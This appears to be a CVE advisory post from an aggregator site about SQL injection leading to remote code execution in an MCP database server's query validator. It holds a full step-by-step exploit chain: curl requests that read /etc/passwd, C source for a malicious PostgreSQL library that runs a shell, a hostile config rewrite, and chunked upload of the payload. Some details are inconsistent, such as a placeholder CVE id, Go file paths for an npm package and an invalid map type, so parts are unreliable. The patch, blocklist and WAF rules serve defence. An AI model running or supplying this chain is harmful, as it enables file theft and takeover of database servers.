ExecuteAutomation MCP Server, SQL Injection / RCE, CVE-2024-XXXX (Critical)

Listen to this Post

How the CVE Works

The vulnerability exists in the database query validation framework’s `validateNode()` function, which fails to recursively inspect child nodes within PostgreSQL array expressions (ArrayExpr) and row expressions (RowExpr). The application implements a 7-phase SQL validation framework in `internal/utils/inject.go` designed to prevent SQL injection attacks. Phase 5 performs deep SELECT statement validation but critically lacks handlers for these two expression types. When the validator encounters an `ArrayExpr` or `RowExpr` node, it has no handler function, so it skips validation of all child nodes entirely. Attackers exploit this by smuggling dangerous PostgreSQL functions like pg_read_file(), lo_from_bytea(), lo_put(), and `lo_export()` inside array expressions. The query `SELECT name, ARRAY[pg_read_file(‘/etc/passwd’), ‘safe-string’] FROM knowledge_bases LIMIT 1` bypasses all seven validation phases because: Phase 1 passes (no null bytes), Phase 2 passes (valid PostgreSQL syntax), Phase 3 passes (single SELECT statement), Phase 4 passes (SELECT-only query), Phase 5 fails to inspect the array’s child nodes, Phase 6 passes (table is whitelisted), and Phase 7 passes (no blacklisted keywords like “1=1”). By chaining this with PostgreSQL’s large object operations and dynamic library loading capabilities via session_preload_libraries, an unauthenticated attacker can upload a malicious shared library and achieve arbitrary code execution on the database server with database user privileges, leading to complete system compromise.

DailyCVE Form

Platform: Node.js/npm
Version: @executeautomation/database-server
Vulnerability: SQL Injection/RCE
Severity: Critical
Date: 2024-05-15

Prediction: Patch 2024-06-15

What Undercode Say:

Analytics

Check installed version
npm list @executeautomation/database-server
Clone repository for code review
git clone https://github.com/executeautomation/mcp-database-server
cd mcp-database-server
Locate vulnerable validation code
grep -n "validateNode|ArrayExpr|RowExpr" internal/utils/inject.go
Check if PostgreSQL functions are blocked
grep -r "pg_read_file|lo_from_bytea|lo_export|pg_reload_conf" internal/utils/
Test for vulnerability (verify file read)
curl -X POST http://target:3000/query \
-H "Content-Type: application/json" \
-d '{"sql": "SELECT name, ARRAY[pg_read_file('\''/etc/passwd'\''), '\''safe'\''] FROM knowledge_bases LIMIT 1"}'
Monitor PostgreSQL logs for suspicious activity
sudo tail -f /var/log/postgresql/postgresql-.log | grep -E "ARRAY|pg_read_file|lo_"

Vulnerable Code

// internal/utils/inject.go - Vulnerable validateNode function
func (v sqlValidator) validateNode(node pg_query.Node, result SQLValidationResult) error {
if node == nil {
return nil
}
// Check for subqueries (SubLink)
if v.checkSubqueries {
if sl := node.GetSubLink(); sl != nil {
return fmt.Errorf("subqueries are not allowed")
}
}
// Check for function calls
if fc := node.GetFuncCall(); fc != nil {
if err := v.validateFuncCall(fc, result); err != nil {
return err
}
}
// Check for column references
if cr := node.GetColumnRef(); cr != nil {
if err := v.validateColumnRef(cr); err != nil {
return err
}
}
// Check for type casts
if tc := node.GetTypeCast(); tc != nil {
if err := v.validateNode(tc.Arg, result); err != nil {
return err
}
// ... type validation ...
}
// MISSING: No handler for ArrayExpr or RowExpr
// node.GetArrayExpr() - NOT CHECKED
// node.GetRowExpr() - NOT CHECKED
return nil
}

How Exploit:

Step 1: Verify file read capability
sql="SELECT name, ARRAY[pg_read_file('/etc/passwd'), 'safe-string'] FROM knowledge_bases LIMIT 1"
curl -X POST http://target:3000/query -H "Content-Type: application/json" -d "{\"sql\": \"$sql\"}"
Step 2: Compile malicious PostgreSQL library (payload.c)
cat > payload.c << 'EOF'
include <postgres.h>
include "fmgr.h"
ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
endif
if defined(<strong>aarch64</strong>)
define SYS_EXECVE 221
static inline long sys_call3(long n, long a, long b, long c) {
register long x8 asm("x8") = n;
register long x0 asm("x0") = a;
register long x1 asm("x1") = b;
register long x2 asm("x2") = c;
asm volatile("svc 0" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x8) : "memory");
return x0;
}
elif defined(<strong>x86_64</strong>)
define SYS_EXECVE 59
static inline long sys_call3(long n, long a, long b, long c) {
long ret;
asm volatile("syscall" : "=a"(ret) : "a"(n), "D"(a), "S"(b), "d"(c) : "rcx", "r11", "memory");
return ret;
}
endif
static const char blob[] = "/bin/sh\0-c\0id>/tmp/pwned\0";
static char const argv[] = {(char )blob, (char )blob + 8, (char )blob + 11, 0};
PGDLLEXPORT void <em>PG_init(void) { sys_call3(SYS_EXECVE, (long)blob, (long)argv, 0); }
EOF
Compile with optimizations
CFLAGS="-Os -fPIC -ffunction-sections -fdata-sections -fomit-frame-pointer -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-stack-protector -fno-ident -ffreestanding -fvisibility=hidden"
LDFLAGS="-Wl,--gc-sections -Wl,-s -Wl,--strip-all -Wl,--build-id=none -Wl,-z,max-page-size=4096 -Wl,-z,common-page-size=4096"
PGINC="$(pg_config --includedir-server)"
gcc ${CFLAGS} -I"${PGINC}" ${LDFLAGS} -shared -nostdlib -o payload.so payload.c
strip --strip-unneeded payload.so
objcopy --remove-section=.comment --remove-section=.note --remove-section=.eh_frame payload.so
Step 3: Create malicious PostgreSQL config
cat > postgres.conf.new << 'EOF'
listen_addresses = ''
max_connections = 100
dynamic_shared_memory_type = posix
dynamic_library_path = '/tmp:$libdir'
session_preload_libraries = 'payload.so'
EOF
Encode config as base64
base64 -w0 postgres.conf.new > config.b64
Step 4: Upload config via array expression
CONFIG_B64=$(cat config.b64)
curl -X POST http://target:3000/query -H "Content-Type: application/json" \
-d "{\"sql\": \"SELECT name, ARRAY[(lo_from_bytea(2091829765, decode('$CONFIG_B64', 'base64'))::text)::text, 'safe'] FROM knowledge_bases LIMIT 1\"}"
curl -X POST http://target:3000/query -H "Content-Type: application/json" \
-d "{\"sql\": \"SELECT name, ARRAY[(lo_export(2091829765, '/var/lib/postgresql/data/postgresql.conf')::text)::text, 'safe'] FROM knowledge_bases LIMIT 1\"}"
Step 5: Upload payload in chunks
PAYLOAD_B64=$(base64 -w0 payload.so)
split -b 768 payload.b64 chunk</em>
for i in chunk_; do
CHUNK=$(cat $i)
curl -X POST http://target:3000/query -H "Content-Type: application/json" \
-d "{\"sql\": \"SELECT name, ARRAY[(lo_from_bytea(1712594153, decode('$CHUNK', 'base64'))::text)::text, 'safe'] FROM knowledge_bases LIMIT 1\"}"
done
Step 6: Export payload and reload config
curl -X POST http://target:3000/query -H "Content-Type: application/json" \
-d "{\"sql\": \"SELECT name, ARRAY[(lo_export(1712594153, '/tmp/payload.so')::text)::text, 'safe'] FROM knowledge_bases LIMIT 1\"}"
curl -X POST http://target:3000/query -H "Content-Type: application/json" \
-d "{\"sql\": \"SELECT name, ARRAY[(pg_reload_conf())::text, 'safe'] FROM knowledge_bases LIMIT 1\"}"
Step 7: Verify code execution (after PostgreSQL restart)
ssh user@database-server "cat /tmp/pwned"

Protection from this CVE:

1. Patch the validator - add missing handlers
cat > fix.patch << 'EOF'
inject.go.orig
+++ inject.go
@@ -89,6 +89,14 @@
return err
}
}
+ // Add handler for ArrayExpr
+ if ae := node.GetArrayExpr(); ae != nil {
+ return v.validateArrayExpr(ae, result)
+ }
+ // Add handler for RowExpr
+ if re := node.GetRowExpr(); re != nil {
+ return v.validateRowExpr(re, result)
+ }
// Check for type casts
if tc := node.GetTypeCast(); tc != nil {
if err := v.validateNode(tc.Arg, result); err != nil {
EOF
2. Block dangerous PostgreSQL functions
cat >> internal/utils/blocklist.go << 'EOF'
var dangerousFunctions = map[bash]bool{
"pg_read_file": true,
"pg_ls_dir": true,
"pg_read_binary_file": true,
"pg_stat_file": true,
"lo_from_bytea": true,
"lo_put": true,
"lo_export": true,
"lo_import": true,
"pg_reload_conf": true,
"pg_terminate_backend": true,
"pg_cancel_backend": true,
}
EOF
3. Restrict database user permissions
psql -U postgres -c "REVOKE EXECUTE ON FUNCTION pg_read_file(text) FROM PUBLIC;"
psql -U postgres -c "REVOKE EXECUTE ON FUNCTION lo_from_bytea(integer, bytea) FROM PUBLIC;"
psql -U postgres -c "REVOKE EXECUTE ON FUNCTION lo_export(integer, text) FROM PUBLIC;"
psql -U postgres -c "REVOKE EXECUTE ON FUNCTION pg_reload_conf() FROM PUBLIC;"
4. Disable dynamic library loading in PostgreSQL
echo "dynamic_library_path = ''" >> /var/lib/postgresql/data/postgresql.conf
echo "session_preload_libraries = ''" >> /var/lib/postgresql/data/postgresql.conf
echo "local_preload_libraries = ''" >> /var/lib/postgresql/data/postgresql.conf
pg_ctl reload
5. WAF rule to block array expressions with dangerous functions
cat > /etc/nginx/waf/rules/postgresql.conf << 'EOF'
Block array expressions with file access functions
if ($request_body ~ "ARRAY[.pg_read_file.]") {
return 403;
}
if ($request_body ~ "ARRAY[.lo_from_bytea.]") {
return 403;
}
if ($request_body ~ "ARRAY[.lo_export.]") {
return 403;
}
EOF
6. Monitor for exploitation attempts
sudo auditctl -w /var/lib/postgresql/data/postgresql.conf -p wa -k postgres_config
tail -f /var/log/postgresql/.log | grep -E "WARNING|ERROR|FATAL" | while read line; do
echo "$line" | grep -q "ARRAY" && echo "ALERT: Potential exploit attempt: $line"
done

Impact:

  • Complete system compromise with arbitrary code execution
  • Data confidentiality loss (read database contents, system files, credentials)
  • Data integrity loss (modify database records, inject backdoors)
  • Denial of service (delete tables, crash database)
  • Persistence establishment via backdoors
  • Lateral movement to connected systems

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top